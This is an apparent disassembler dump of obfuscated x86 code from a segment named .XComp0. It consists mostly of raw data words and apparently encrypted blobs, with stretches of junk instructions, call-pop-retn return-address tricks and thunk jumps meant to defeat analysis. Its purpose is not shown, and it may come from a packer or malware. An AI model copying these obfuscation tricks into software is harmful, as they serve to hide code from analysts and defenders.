0BE8h, 200BF200h, 0B049EA53h dd 0C6B1BA9h, 61605250h, 0FA8A310Fh, 905B585Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 56C35747h, 0C595FF98h dd 6A05F92Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 2E3FC352h, 52FE7A6Dh, 816660E1h dd 8B22DDD3h, 0F933299Dh, 89616105h, 0F925659Dh, 8E905h dd 85100000h, 4D31F885h, 85C7CC47h, 5F900FDh, 3, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 8DC35141h, 0AA13672Fh dd 66766D12h, 0FB224BBh, 0BD83F8B7h, 5FCFC21h, 0C840F00h dd 0F9000000h, 21E9h, 0E5BD8B00h, 5005F90Ch, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0FE9E7C3h dd 75000000h, 0B49D86D1h, 0C76D3D4Ch, 1E40349Ah, 0BD895867h dd 5F91651h, 0DE9h, 1747AE00h, 2CE024D8h, 0F4B37755h, 0BD83BF2Dh dd 5F900FDh, 78850F03h, 6A000004h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 6D67C357h dd 616C04B9h, 9D8BFE8Bh, 5F90891h, 0FC21BD83h, 0F0005FCh dd 44284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0E05169B1h, 0FC21B5FFh, 43BF05FCh dd 0FF74B447h, 0F91AAD95h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0AFD03369h dd 8B538CF1h, 0F927A19Dh dd 0B58B5B05h, 5FCFC15h, 2AFD8D29h, 6C705F9h, 10001h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B1C35747h, 85CE3219h dd 8DD781F3h, 5077C40Dh, 22FE54BFh, 24348909h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0BC35747h, 0C839D832h dd 0FC21B5FFh, 6A05FCh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 23C7ECC3h, 9634BF66h, 272995FFh dd 816605F9h, 8B450FDBh, 0FCFC15B5h, 0F3816605h, 858B76AAh dd 5F91809h, 8D5AE381h, 86894B87h, 0C4h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 18h, 0E9C35545h, 0DC25B494h dd 0AE8h, 63789900h, 97B4FE04h, 8A462A6Ch, 0BF665BFAh dd 958BF88Eh, 5F90CDDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0B3C35343h, 78E7800Eh, 83FBB70Fh, 6A04C2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0CA761FC3h, 0B8FA96CAh, 50895825h, 399D2B20h, 8D05F916h dd 0FD10E985h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 4F0CD715h, 0B88689F9h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 1594C353h, 6A006AE6h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 2C63C352h, 0F3DADFCEh, 0FBA3046h, 982h, 95896000h, 5F91639h dd 8B6061FCh, 0F9204195h, 0B5FF6105h, 5FCFC21h, 0FFD98B66h dd 0F9009995h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0CA208CF0h, 154D9531h dd 9D8B05F9h, 5F919F1h, 0D88B6650h, 6A243489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0BF2AC353h, 8F38060h, 6810Fh, 820F0000h, 0 ; --------------------------------------------------------------------------- popa add edi, [ebp+5F9079Dh] push dword ptr [ebp+5FCFC21h] push 0 push edx call sub_5BC49C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC49C proc near ; CODE XREF: .XComp0:005BC494p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5BC49C endp ; --------------------------------------------------------------------------- dd 38F06F1h, 837B66E8h, 34119D8Bh, 95FF05F9h, 5F93569h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D2C35242h dd 9D8B64E5h, 5F92739h, 17F5BD83h, 0F0005F9h, 4A84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 66D6F179h, 9E40DF81h, 0F98B6696h, 96FE8B50h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F1C35141h, 0FFFE8B66h dd 0FCFC21B5h, 0FBB70F05h, 0FFFB8B66h, 0F92E6D95h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 21B5FFECh, 0F05FCFCh, 689h, 0DDBD8B00h, 0FF05F932h dd 0F921DD95h, 0FE8B6605h, 0A2DBD83h, 0F0205F9h, 3784h dd 359D8B00h, 8B05F91Fh, 0F9115185h, 0B4BF6605h, 810F603Eh dd 0 ; --------------------------------------------------------------------------- jmp loc_5BC5BE ; --------------------------------------------------------------------------- db 91h, 6, 2Fh dd 9522C066h, 8916A935h, 75C08F4Dh db 0DFh, 7Bh ; --------------------------------------------------------------------------- loc_5BC5BE: ; CODE XREF: .XComp0:005BC5A8j popa mov byte ptr [eax], 0 mov ebx, [ebp+5F928D5h] mov dword ptr [ebp+5F93319h], 0 push 0 push ebx call sub_5BC5DD and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC5DD proc near ; CODE XREF: .XComp0:005BC5D5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5BC5DD endp ; --------------------------------------------------------------------------- push es push ds sub eax, 0AD15C591h call sub_5BC603 or al, 85h pop ecx pop es mov bl, 84h clc push ss mov dh, bl ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5BC603 proc near ; CODE XREF: .XComp0:005BC5F4p jmp sub_5BC61C sub_5BC603 endp ; --------------------------------------------------------------------------- dd 0ACE145DFh, 73291B37h, 0B02FC089h ; --------------------------------------------------------------------------- lahf pop ss ; START OF FUNCTION CHUNK FOR sub_5BC61C loc_5BC616: ; CODE XREF: sub_5BC61C+Cj pusha push ss retn 0A05Dh ; END OF FUNCTION CHUNK FOR sub_5BC61C ; --------------------------------------------------------------------------- db 0C7h ; =============== S U B R O U T I N E ======================================= sub_5BC61C proc near ; CODE XREF: sub_5BC603j ; FUNCTION CHUNK AT 005BC616 SIZE 00000005 BYTES pop ebx jnb loc_5BC637 call sub_5BC630 jg short loc_5BC616 sbb al, 4Bh add eax, [ecx+esi-1Fh] sub_5BC61C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BC630 proc near ; CODE XREF: sub_5BC61C+7p add [ebp+5F90B45h], edx pop edi loc_5BC637: ; CODE XREF: sub_5BC61C+1j jmp near ptr dword_5BB2B0+640h sub_5BC630 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmc mov eax, ecx push 0 push edx call sub_5BC64A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC64A proc near ; CODE XREF: .XComp0:005BC642p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5BC64A endp ; --------------------------------------------------------------------------- dw 3FDDh dd 29A97E51h, 0CD8D89C1h, 0E905F908h, 9, 2E40BB53h, 0 dd 80FE900h, 0E0FF0000h, 4EC0B31h, 0CCEED90Bh, 0F9E20537h dd 0CDEDD80Ch, 0F130023Ah, 37ED1AC2h, 27DD2E90h, 38EC1DC0h dd 27DD308Dh, 1E5FFCBDh, 9B239875h, 0A5B68B36h, 239875D4h dd 6667A44Ah, 0C05653B3h, 8B31CE7Ah, 0BA5C0D80h, 7A7B923Bh dd 82BA4D6Dh, 78A37A63h, 29968605h, 0B31A8582h, 3F8A5F56h dd 48BB1D9Ah, 85F78291h, 87742996h, 44BB7E67h, 6685729Bh dd 7B6493A3h, 0B41C1B92h, 434AC529h, 88D7664h, 5C519851h dd 1499705Bh, 575EA513h, 96489671h, 0FEDDDA9Fh, 0CE1CEB0Bh dd 3F3AD920h, 0BC299685h, 1FC02FBFh, 851C5DFEh, 0EC992996h dd 0DCA4FD08h, 18D1C795h, 82FB18E1h, 0FF2995D8h, 981DEED0h dd 4CE608C1h, 3CD742A9h, 2995D841h, 0D408C1BEh, 0FCF9E133h dd 35C32D52h, 1EEBD221h, 0DD2E9097h, 1FEECFD8h, 0EA25C9AEh dd 489671E3h, 48AF8C96h, 729535A8h, 7A6897B7h, 689F4BB4h dd 0AC598265h, 53B97029h, 1CC7EF78h, 37B658B2h, 72994394h dd 1BA485B7h, 37B658AFh, 64A74596h, 0CDA074ADh, 0CC8DFC91h dd 4DC21E99h, 647D9148h, 95EC9BDFh, 53B21729h, 91745562h dd 89D5B01Ch, 0E6EE13D5h, 252AF7EBh, 7A89AD7Eh, 0A5C69A6Ch dd 8B7F4D2Fh, 0C9000000h, 5678638Ch, 836940B5h, 23FB6CECh dd 0CDC00917h, 9BBFA82Ch, 8D38E5DAh, 0F891E669h, 0B342995h dd 0F8542536h, 0D4D12995h, 0AF97C342h, 4D2FD03Dh, 3DD2EE09h dd 10D19h, 0CED70000h, 1C608831h, 424025FEh, 6D3CB178h dd 49C62AC9h, 627B6344h, 52438E7Bh, 5CAD10A7h, 0C7492A78h dd 97B7E1BDh, 7D607358h, 0A166866Fh, 4089D25Fh, 0AC559C4Dh dd 13F18628h, 1D3155ABh, 705E59C4h, 89BB547Ch, 54B317A0h dd 838A33C2h, 608CBF61h, 85E19CB7h, 0A15E2996h, 85A2DB78h dd 621F2996h, 8CC772A7h, 299685F1h, 449DB16Eh, 6D947B63h dd 7B9B6852h, 0C713F272h, 0D70205E5h, 0D0339522h, 96853A43h dd 24CAB729h, 0B02EB0Ah, 8DF02BD6h, 0A299685h, 7F0F91Dh dd 582132E1h, 0D5299685h, 0D438E128h, 6B9F43A2h, 746D819Bh dd 592D39D4h, 4D2F6677h, 0DF30h, 0C9090B00h, 10E21281h dd 8CE056F8h, 0E19CB760h, 5E299685h, 46B168A1h, 16CF5FA4h dd 0A55CA711h, 5F56B31Ah, 7C7B648Ah, 3740B54Eh, 0E3817493h dd 508D604h, 0FB7E9D64h, 78299685h, 21946F59h, 8E6D8148h dd 97806C40h, 9686017Ch, 16817E29h, 876253B8h, 0B1629742h dd 299685C8h, 7CB65845h, 6B967159h, 85F48596h, 0B4712996h dd 59A049A2h, 9685BFBAh, 0AF3F3C29h, 0AF6A9B40h, 85B0C98Ah dd 0CA262996h, 25995045h, 2A0DD678h, 614647C4h, 921B927Dh dd 6BF5A9B5h, 0FFF8B6A4h, 0FF042AD9h, 4D2F5C9Dh, 771Ah dd 608CEC00h, 7DB45775h, 0CB88B178h, 299685B2h, 6C9D402Fh dd 0D579B069h, 5B52B716h, 1697705Ch, 6C61AC11h, 6B331FEEh dd 806C7A95h, 0DDA0BB5Ch, 5A299685h, 5EC064ADh, 2AAB648Ch dd 0B354787Fh, 85CAB0A3h, 0CA6F2996h, 8599E46Fh, 69162996h dd 862836C5h, 49B65179h, 3DD2649Fh, 4D2F5DA3h, 3576A173h dd 0A706B155h, 0A9B87h, 6E660000h, 0F27723AEh, 2E042A0Ch dd 7D8831CEh, 5E8DA178h, 6552877Ch, 58118487h, 0A54A2DB6h dd 85A2DB78h, 0B5182996h, 7CB57254h, 0C7ED4FC5h, 8112947Ah dd 0DD2FCBF9h, 14B8157Eh, 1AC13EF3h, 0A1865FEFh, 0F560B43Ch dd 66836A19h, 9E3D2AABh, 29E06A6Bh, 64D9613Dh, 51D4D870h dd 40D623AAh, 0DED995C1h, 0D48508FDh, 0FE05B342h, 5E841246h dd 31A35EA3h, 350D109Eh, 3D40DB81h, 0BA299641h, 82629CDh dd 1B2F8F63h, 1F9CDD7Eh, 6C19239Dh, 0A64730A5h, 309D454Ah dd 5891BA35h, 527C83A4h, 0D16534B9h, 0A950BD22h, 5459AE0Eh dd 0CB787185h, 239CD9B0h, 4449C62Ah, 21947B63h, 0E8B6A483h dd 45E9F510h, 2F310BAh, 7E80727h, 96F9DB06h, 0C7866518h dd 75929CB2h, 1A02AD9Fh, 0DD713979h, 0A55CB10Eh, 0C056B31Ah dd 6E9F4027h, 67A04CB3h, 9F861EC7h, 0C714B9B3h, 0F42DE423h dd 42AE10Bh, 0CEF20D2Ah, 6EAD4C41h, 239D2A0Bh, 0C0569B88h dd 0D601914Bh, 705A6548h, 1E0578A3h, 8582239Dh, 0A27EAA4Ch dd 0C8000001h, 7F8A31CEh, 0AFBB5B0Eh, 0FC0BAF39h, 3B4F0C35h dd 0D92F8F91h, 798AF320h, 1A07239Dh, 0F1CDFCF4h, 0EAC2971Eh dd 4D7E80AFh, 0E51CD572h, 0F618F5DAh, 0BB34CEDh, 0DA03F204h dd 0CDF10E33h, 826C4B42h, 9C550489h, 0B815C07Ah, 0C6DD9E38h dd 0BC0AE227h, 1A9B5644h, 0A45DB00Dh, 5657AE1Bh, 0B86A5D66h dd 0FA2F9F67h, 2E198B54h, 6AA34C20h, 806A55B2h, 0C29E7383h dd 9248D68Bh, 0A3D1AC67h, 514E239Ch, 4961BDh, 0FFC30000h dd 2ED50365h, 3C1D3EE3h, 0F9A99685h, 6EAD50Ch, 57FCE509h dd 0A9968526h, 0EE848831h, 5F04EBDFh, 133FBE50h, 8F78645Bh dd 0BFAB4B1Eh, 0F54CF525h, 529E60Ah, 963F1742h, 0F527D429h dd 0D8D0h, 318E2900h, 0FF043ADCh, 4B083169h, 2F8F863Bh dd 0B740F9A6h, 0F601F413h, 0FDFA2FD4h, 0F0A92CDFh, 3DA2855Eh dd 0CACB409Eh, 0C748A80Fh, 23DE13C6h, 0D5D8319Ch, 0DF48F204h dd 8480F91Ah, 0FD239Dh, 2FDEFFEEh, 3ED1ED0Ah, 3444CF18h dd 0B4239D85h, 0AB8C010Ah, 23C6C73Eh, 9D8385F8h, 2F050223h dd 8C540A58h, 76575581h, 79556297h, 48C32996h, 4ADC8CA6h dd 3F3AD920h, 0BC239D83h, 834934BFh, 0D9C6239Dh, 0CA2AE910h dd 51299B93h, 79566154h, 92792194h, 0AA22AA44h, 0B221F3ABh dd 990F5BFBh, 0B2619841h, 1D9EA2C7h, 7A6C9F3Dh, 0B6C7548Dh dd 331D9EA2h, 0AE53E076h, 0A2B5C853h, 85321D9Eh, 9EA2A3D6h dd 0AE63201Dh, 0B32FC588h, 0ACB6239Ch, 0A6C3B8E6h, 0F113DE15h dd 0FF69FF4Fh, 2A72EDDh, 96852851h, 31F8A529h, 90CB41F8h dd 1FBBDF14h, 69909DB1h, 749A6F4Eh, 943023D1h, 1ECBAA2Fh dd 0F722E7h, 98FE0FDDh, 207718E9h, 9B9C45E9h, 9926DB32h dd 1BF2DA35h, 4700EA93h, 6B8AA44Ah, 69568B82h, 0C1528782h dd 239837B8h, 3DA64835h, 56DA5596h, 605E74Fh, 0C647A88Fh dd 5C8A7DCFh, 13EE8B82h, 0D9957508h, 2135F2F7h, 0BD3AF4E2h dd 0FA11BB20h, 4BEB26F3h, 0F2AD43ACh, 0D350C14Ch, 772A158h dd 84F7D9C4h, 10A75297h, 0CEAF6CADh, 4BF7D9C3h, 0B983935Eh dd 0F6AA950h, 8CF7D9C4h, 46C7288Fh, 75749A4Fh, 738CB558h dd 5BECC047h, 17EFD67Dh, 5722CB6Bh, 0D80871A2h, 9885F7D9h dd 0B3527776h, 0BD48718Eh, 9BB86138h, 0F7D9D7E2h, 538CA25Fh dd 0A4AF8AB7h, 0F7D9D7D9h, 0D7F78291h, 8774F7D9h, 35C46A17h dd 739A4329h, 12C926D1h, 49C02BAAh, 955C9544h, 73A05920h dd 0F7D9D80Ah, 0E2C37D87h, 20D76650h, 0AA445E9h, 0DC000000h dd 7F8A31CEh, 0BFBB5B0Eh, 0AC658C09h, 6CA13E29h, 0AA5F7E69h dd 719A4423h, 0B84F7B7Ch, 7D8A3235h, 0BB4A6F78h, 788B2D3Ah dd 0C14E7275h, 24681BCCh, 89000074h, 3568240Ch, 8900000Fh dd 8951242Ch, 4C181E1h, 83000000h, 0C8704E9h, 0C895C24h dd 7B70BD24h, 454515F7h, 0B0E5814Dh, 5114CA45h, 0FE0C1FB9h dd 2EC9814Bh, 81410B07h, 0B74F50F1h, 0A3E98134h, 4952BF6Bh dd 56EE981h, 0CD013B4Dh, 6F2D6859h, 24890000h, 24048124h dd 4, 8BB5359h, 1000000h, 8B2B89CBh, 0C483241Ch, 240C8B04h dd 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch ; --------------------------------------------------------------------------- sub al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5734FA ; --------------------------------------------------------------------------- db 67h dd 17F9B8B5h, 0C50305FEh, 0EE98E0FFh, 0C5C46C2Bh, 6366593Fh dd 0B41F2B83h, 4A7C22FCh, 0C6EB3595h, 0B7AD4D55h, 0EECE0F89h dd 4DAE7506h, 3EBD5FC5h, 959698Ch, 0EB4F0F88h, 4187484Ah dd 0A9C756C5h, 7A541DA9h, 16A30141h, 9BD96090h, 93B723B0h dd 11EF3F9Eh, 0F15721DFh, 6D81E94h, 0A564756Ch, 9D7875ECh dd 0A5040440h, 38FD17C7h, 50402B94h, 0B841545Dh, 3F636009h dd 0DD5F1D2Ch, 0BD4B6CFEh, 3E04247Ch, 63A610ECh, 858D0159h dd 5F90DC1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 8FC35141h, 9D8B21E9h, 5F90DD5h, 66525050h, 0F2254BBh dd 5AD88B31h, 24048958h, 68A0Fh, 0DB810000h, 6F061CABh dd 2231BD31h, 6A05F9h, 0EE9h, 0F1068B00h, 2D24C345h, 0FE3E74AFh dd 6A32CA4Eh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0A74CD64Ch, 0ADF61A0Eh, 8313BB66h dd 39E78153h, 5F00CE73h, 1AFC858Dh, 6A05FEh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 9D6662C3h dd 0AF18589h, 0C08305F9h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 9282DA6Ch dd 366DD224h, 0BB6650F8h, 489C6B2h, 8B665324h, 6A5FDAh dd 13E960h, 968D0000h, 0DFFA475Bh, 74739E56h, 0A2B22F52h dd 198926Eh, 9AB761E2h, 6660006Ah, 0CE9F98Bh, 0C5000000h dd 893A471Bh, 57AB6DD9h, 61927204h, 13ED95FFh, 6A05F9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8DF533C3h, 0FCE9838Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0E8D1FFECh dd 9, 30C064A0h, 0F2C464D4h, 0BD896001h, 5F931D9h, 0D558589h dd 5B6105F9h, 1785BD83h, 0F0105F9h, 4085h, 53BB6600h, 89026A39h dd 0F933318Dh, 0B8BB5005h, 892A7CE8h, 0BD232404h, 5F90D11h dd 9995FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8BE929C3h, 0DFBE9D9h, 0E80000h dd 5D000000h, 1B06ED81h, 6A05FEh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0CE31DBC3h, 9589F84Ah dd 5F91469h, 16459D89h, 858D05F9h, 5FCD97Ch, 0FE9h, 0E2C45400h dd 8C610727h, 2B775DC3h, 0F75BA6A3h, 38A0Fh, 0BF0F0000h dd 9E850FEh, 0E000000h, 0E799BA59h, 0FEE2251Ah, 12E9h dd 12217C00h, 5D4C5492h, 0DE46E9DAh, 51F72CDAh, 5F4CB0E6h dd 81240489h, 32BCE2DFh, 0CBC7806Ah, 35FF64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0F5AC357h, 8964D9BFh, 25h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E9DC521Bh, 12h, 0B4C2F707h, 0C5E242DBh, 0F3B3A438h dd 0C0B86F49h, 85FF1C44h, 5F9197Dh, 6AD9B70Fh, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0C49C56EDh, 1F24A56Ah, 2960972Ah, 0F904B9BDh, 0B5FF6105h dd 5F90751h, 15599D8Bh, 95FF05F9h, 5F90911h, 0E5E9h, 0B0F8F900h dd 0FD8D8900h, 0E605F925h, 0BD9D8B70h, 0E405F927h, 0B19D2B71h dd 0F505F912h, 830F613Ch, 0C2h, 0FD9BF0Fh, 8166C8B6h, 0BA24D8CBh dd 6, 7BC78166h, 0BC18BA7h, 0F91541BDh, 75BD2905h, 0C105F929h dd 0D78004E8h, 0E2F766D8h, 8BC82BF8h, 0F9176DBDh, 66D18B05h dd 0E9A8AEBBh, 82h, 6860Fh, 9D8B0000h, 5F90FEDh, 8858Bh dd 8D890000h, 5F90661h, 6607C083h, 83341EBFh, 858900C0h dd 5F9176Dh, 830FD03Bh, 17h, 4CE9F8h, 0CE90000h, 0F4000000h dd 0BD0F77D1h, 0A4A4CB30h, 8BF16D6Fh, 0FFFFFF8Dh, 45BD31FFh dd 8305F90Ah, 840F01E1h, 26h, 72CB8166h, 0FFA58385h, 0FEFFFFFFh dd 22159D2Bh, 958905F9h, 8, 2E8D9D23h, 8B6605F9h, 0E9F9h dd 0B58D0000h, 5FD92EDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0D3C35646h, 19819D8Bh, 6A05F9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7AC35242h, 0F50AB70Eh dd 1AED95FFh, 6A05F9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 86FE46C3h, 0DD9D89FCh, 0B905F905h dd 0F6Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 8C35545h, 66FCE183h, 81FCDE8Bh, 0CA75C6D7h, 6AC02B56h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0FC39C355h, 0A92AB12Ch, 0BA5Dh, 9E80000h dd 93000000h, 0C7096247h, 248029B6h, 0C233AD5Fh, 0D003E8D1h dd 7504E983h, 870FF5F4h, 6, 15A5BD89h, 6A05F9h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 66EFE9C3h, 0BD0EEF81h, 880Dh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0A6878897h dd 90F7E537h, 0B50960F8h, 5F90C0Dh, 61FB8B66h, 0CDD958Bh dd 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0FEA60CC3h, 26C18D8Bh, 63BB05F9h, 93CBABDh dd 0F919798Dh, 0C28B5005h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0BC23C355h, 79B70497h, 24458589h dd 0BD8305F9h, 5F91159h, 0AB840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 7986C350h, 0BE93257h, 59000000h, 82FE842h, 0C3C8A27Ch dd 0BE8D139h, 71000000h, 2D2B69DBh, 5497CCDCh, 5BFC23B3h dd 0B8h, 11E900h, 0EFA90000h, 52338349h, 4096D0C4h, 363580A0h dd 8DC7F1B8h, 0F94EE88Dh, 0CD9D8B05h, 0FF05F904h, 53006AE1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0DB75F47Bh, 0DE9h, 0DA0F1E00h, 0B9DD3A83h, 52D90494h dd 9E98C02h, 5D000000h, 2F299FA2h, 0BB6B4803h, 0BD83DA8Bh dd 5F900FDh, 5C840F00h, 66000004h, 83FC5CBBh, 0F900FDBDh dd 840F0105h, 466h, 61CFBB66h, 0FDBD83h, 0F0305F9h, 41F86h dd 0B7BF6600h, 8B0F60DDh, 6, 4D1BD33h, 8C6605F9h, 51006AD9h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 807A1580h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 8010D8C3h, 0AD21EC5h, 0D9840FC9h dd 66000000h, 0DE8AFB8Bh, 2599858Bh, 952905F9h, 5F9347Dh dd 42D8533h, 0BB6605F9h, 0BF508A3Eh, 56DA6406h, 60240489h dd 0FEA2BB66h, 14B99D8Bh, 6A6105F9h, 14E900h, 82D0000h dd 1D56ACCAh, 363B73F3h, 0C0EB71F6h, 3772531h, 4E81FD0h dd 0FF000000h, 66001F03h, 50A890BFh, 448BDA8Bh, 0BF660424h dd 8B1CBCh, 4244489h, 58F98B66h, 6860Fh, 0B5310000h, 5F9282Dh dd 2AC595FFh, 0D38105F9h, 30BDC1F8h, 0FC218589h, 6A05FCh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 592F1FC3h, 35354969h, 8B26C949h, 0F90C4D9Dh, 28EE905h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0C7C790C3h, 0FC19858Bh, 14E805FCh, 0E8000000h dd 66982142h, 7905FFEBh, 0B3704494h, 613E31Fh, 6687B5C9h dd 0C75FDE8Bh, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0FEF81CCBh, 0C7707840h dd 0EEC78167h, 8B506227h, 0FCFC1DB5h, 89858B05h, 6A05F92Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0FF3BC357h, 0E9B009D5h, 89C5AA3Ch, 0F9076585h dd 6A068905h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0D65CC350h, 0D9B7EFDCh, 858BFA8Bh dd 5F92599h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 39C35747h, 9DB663A2h, 89FBBF0Fh, 6A0446h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 97C1ADC3h, 27D99509h, 509605F9h, 96FA8B66h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 91C35343h, 0A1D80A52h dd 0B5FFC3E0h, 5FCFC19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0FDC35545h, 9D33565Fh, 5F919DDh, 4E85Fh dd 3FF0000h, 8B66001Fh, 0DD8A50DAh, 424448Bh, 7832BF66h dd 14E9008Bh, 91000000h, 32649A57h, 40581C2Bh, 0C48F71D2h dd 40C18CBFh, 894BEAE5h, 50042444h, 0D2BB6052h, 0F114514h dd 8Bh, 310F6100h, 6E9h, 2AADCF00h, 5AEB309Dh, 6A5858h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0EE9CA0C3h, 0B532D61Ah, 0EE9h, 4CB9E500h, 0AAB2A790h dd 2C33E5FBh, 8DD6B5BEh, 0FCFC2185h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0F30996FBh dd 0F300173Fh, 1F818589h, 12E905F9h, 4D000000h, 3F294F1Bh dd 1A320D8Dh, 0B05D5282h, 37F9A7DDh, 830F903Eh, 2, 6050F98Bh dd 8B0F00B4h, 4, 8696BA66h, 6A9061h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E99747C3h dd 0BA460DD9h, 0EB81A970h, 53DDC8C0h, 2AC595FFh, 0BD8905F9h dd 5F91895h, 919D8961h, 8905F909h, 0F92BA1BDh, 0FD85C705h dd 305F900h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 9CE7C357h, 0BD833667h dd 5FCFC21h, 35840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0B331C352h dd 1589CE0Eh, 8B176339h, 0F91645BDh, 21E905h, 9D890000h dd 5F9066Dh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 57C08B00h, 2E29BD8Bh, 8B5F05F9h, 0F904BDBDh, 0FDBD8305h dd 305F900h, 463850Fh, 85090000h, 5F9183Dh, 0FC21BD83h dd 0F0005FCh, 45084h, 11E900h, 406D0000h, 567BABD1h, 8D936AA2h dd 